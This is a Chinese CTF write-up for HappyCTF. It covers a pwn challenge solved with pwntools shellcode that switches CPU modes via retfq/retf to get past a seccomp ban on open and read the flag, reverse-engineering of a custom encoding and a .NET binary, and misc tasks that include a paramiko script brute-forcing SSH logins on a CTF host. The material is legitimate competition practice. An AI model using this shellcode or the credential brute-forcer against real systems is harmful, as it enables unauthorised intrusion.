pwn HappyCTF 参考链接:https://xz.aliyun.com/t/6645?time__1311=n4%2BxnD0DRDBGitN47KDsA3xCqbu75eD9AQ%3DoD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DA-_IFOUlIylJIvrt12kXZxAyQ2f2S3p-psE9bObB9i-3sfMgYghL6qEvFbu98k-Q%26wd%3D%26eqid%3Df2850db1072b3e270000000265cc33af 
看到rwx基本上是shellcode
 
 
vuln函数反编译不了,问题不大
 
敲,后面发现把open给禁了,那得用retfq和retf了
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from  pwn import  * context(os='linux' ,log_level='debug' ) p = process("./HappyCTF" ) elf = ELF("./HappyCTF" ) libc = ELF("./libc.so.6" )def  s (a ) : p.send(a)def  sa (a, b ) : p.sendafter(a, b)def  sl (a ) : p.sendline(a)def  sla (a, b ) : p.sendlineafter(a, b)def  r () : return  p.recv()def  pr () : print (p.recv())def  rl (a ) : return  p.recvuntil(a)def  inter () : p.interactive()def  get_addr (): 	return  u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) sh = asm(''' push 0x40404040 /*set rdi*/ pop rdi push 0x7e /*set rsi*/ pop rsi push 9 /*set rdx*/ pop rax push 7 pop rdx push 34 pop r10 xor r9,r9 xor r8,r8 syscall /read/ xor rax,rax xor rdi,rdi push 0x40404040 pop rsi push 200 pop rdx syscall push 0x23 push rsi retfq ''' ,arch = 'amd64' ) sd = asm(''' mov esp,0x40404040 mov eax,5 push 0x00006761 push 0x6c662f2e mov ebx,esp xor ecx,ecx int 0x80 push 0x33 push 0x40404062 retf ''' ,arch = 'i386' ) sf = asm(''' mov rax,0 mov rdi,3 mov rsi,0x40404128 mov rdx,0x30 syscall mov rax,1 mov rdi,1 mov rsi,0x40404128 mov rdx,0x30 syscall ''' ,arch='amd64' ) sa(":" ,sh) pause() sl(sd+sf) p.interactive()
 
re 编码 直接密文去解密不对
 
有tls也绕过了(tls不一定能够用上)
 
也没看出有其他的算法
这种一般都是自己设计的算法,要静下心来看
发现先十进制转二进制
 
经过rc4初始化算法
 
再把二进制转化为十进制作为下标去找对应的值,类似于base64
这种要通过爆破,首先找密文在table里的下标
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 table = [     0xC0 , 0xC1 , 0xC2 , 0xC3 , 0xC4 , 0xC5 , 0xC6 , 0xC7 , 0xC8 , 0xC9 ,     0xCA , 0xCB , 0xCC , 0xCD , 0xCE , 0xCF , 0xD0 , 0xD1 , 0xD2 , 0xD3 ,     0xD4 , 0xD5 , 0xD6 , 0xD7 , 0xD8 , 0xD9 , 0xE0 , 0xE1 , 0xE2 , 0xE3 ,     0xE4 , 0xE5 , 0xE6 , 0xE7 , 0xE8 , 0xE9 , 0xEA , 0xEB , 0xEC , 0xED ,     0xEE , 0xEF , 0xF0 , 0xF1 , 0xF2 , 0xF3 , 0xF4 , 0xF5 , 0xF6 , 0xF7 ,     0xF8 , 0xF9 , 0xAF , 0xB0 , 0xB1 , 0xB2 , 0xB3 , 0xB4 , 0xB5 , 0xB6 ,     0xB7 , 0xB8 , 0xAA , 0xAE  ] enc = bytearray .fromhex("E2F7D3E2C8B4D8C5CFB4E7EEE1D9F1EFCBEBD9C9CEC5D9E5CCB7D1EDE0B4F1EEE0E7D2F6CBF3C9F3D3D5EF" )print (enc) idx = []for  i in  enc:     idx.append(table.index(i)) s = []for  i in  idx:     s.append(bin (i)[2 :].zfill(6 )) res = "" for  i in  s:     for  j in  range (0 , 0b111111 ):         c = list (bin (j)[2 :].zfill(6 ))         l = 0          r = 0          for  k in  range (0 , 256 ,2 ):             l = (k + 1 ) % 256              r = (l + r + 1 ) % 256              c[l % 6 ], c[r % 6 ] = c[r % 6 ], c[l % 6 ]         d = "" .join(c)         if  d == i:             res += bin (j)[2 :].zfill(6 )             break  b = [res[i:i+8 ] for  i in  range (0 , len (res), 8 )]for  i in  b:     print (chr (int (i, 2 )), end="" )
 
GenshinWishSimulator  
用dnspy打开,找关键类*Manager
 
用z3解方程组
 
得到iv
 
145,118,31,48,103,110,52,82,113,19,83,44,176,130,138,129,115,110,38,10,42,100,193,105,125,61,7,229,230,180,68,133,11,177,210,122,161,60,129,140,16,45,224,83,238,0,213,157,121,193,135,197,87,118,155,110,90,91,30,158,248,44,95,215,166,247,239,43,228,114,227,146,164,137,111,79,143,17,132,14
key和填充方式很明显,但是解不出来?
 
md,key和iv弄反了,而且key是utf-8形式,不找借口
 
用另一种方式复现
要经过check函数才会执行gift
 
 
 
修改初始值的话选择编辑类
 
 
如果直接保存模块也能出,还是有一定概率
 
要的flag在这里,修改一下使得它必然被执行
 
右键编辑方法
 
新年快乐  
string有dll
 
也没看到有sha256算法
 
010搜索MZ
 
用Dnspy打开
 
用vscode运行即可
 
misc 酒吧  
 
 
 
number7 直接解base64会出错,修改第七个和第九个数字从0到f都不对
 
根据Number7 而且inside NO.7猜测cisco type7加密
后面少了几位,但是不影响flag
想法是写脚本算md5sum,然后自动交互
 
不知道要向远程怎么发送,要有用户名和密码
 
首先md5sum就是MD5,其次用ssh -p连接
 
自动算md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 input ="/CVE/wordlist.txt"  output="/CVE/4.txt"  > "$output" while  IFS= read -r line || [[ -n "$line"  ]]; do          if  [[ -z "$line"  ]]; then         continue      fi          md5=$(echo -n "$line"  | md5sum | awk '{print $1}' )               echo "$md5"  >> "$output"  done < "$input" 
 
自动交互
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import  paramiko hostname = 'node1.anna.nssctf.cn'  port = 28591 with  open ('wordlist.txt' , 'r' ) as  user_file:     usernames = user_file.read().splitlines()with  open ('10.txt' , 'r' ) as  pass_file:     passwords = pass_file.read().splitlines()assert  len (usernames) == len (passwords), "用户名和密码数量不匹配" for  username, password in  zip (usernames, passwords):     try :                  client = paramiko.SSHClient()         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())                           client.connect(hostname, port, username, password, timeout=10 )                           stdin, stdout, stderr = client.exec_command('ls' )         output = stdout.read().decode('utf-8' )                           if  'flag.txt'  in  output:                          stdin, stdout, stderr = client.exec_command('cat flag.txt' )             flag_content = stdout.read().decode('utf-8' ).strip()             print (f"找到flag: {flag_content} " )             break          else :             print (f"在用户 {username}  的目录中没有找到flag.txt" )              except  paramiko.AuthenticationException:         print (f"登录失败:用户名 {username}  或密码错误" )     except  Exception as  e:         print (f"发生错误:{str (e)} " )     finally :         client.close()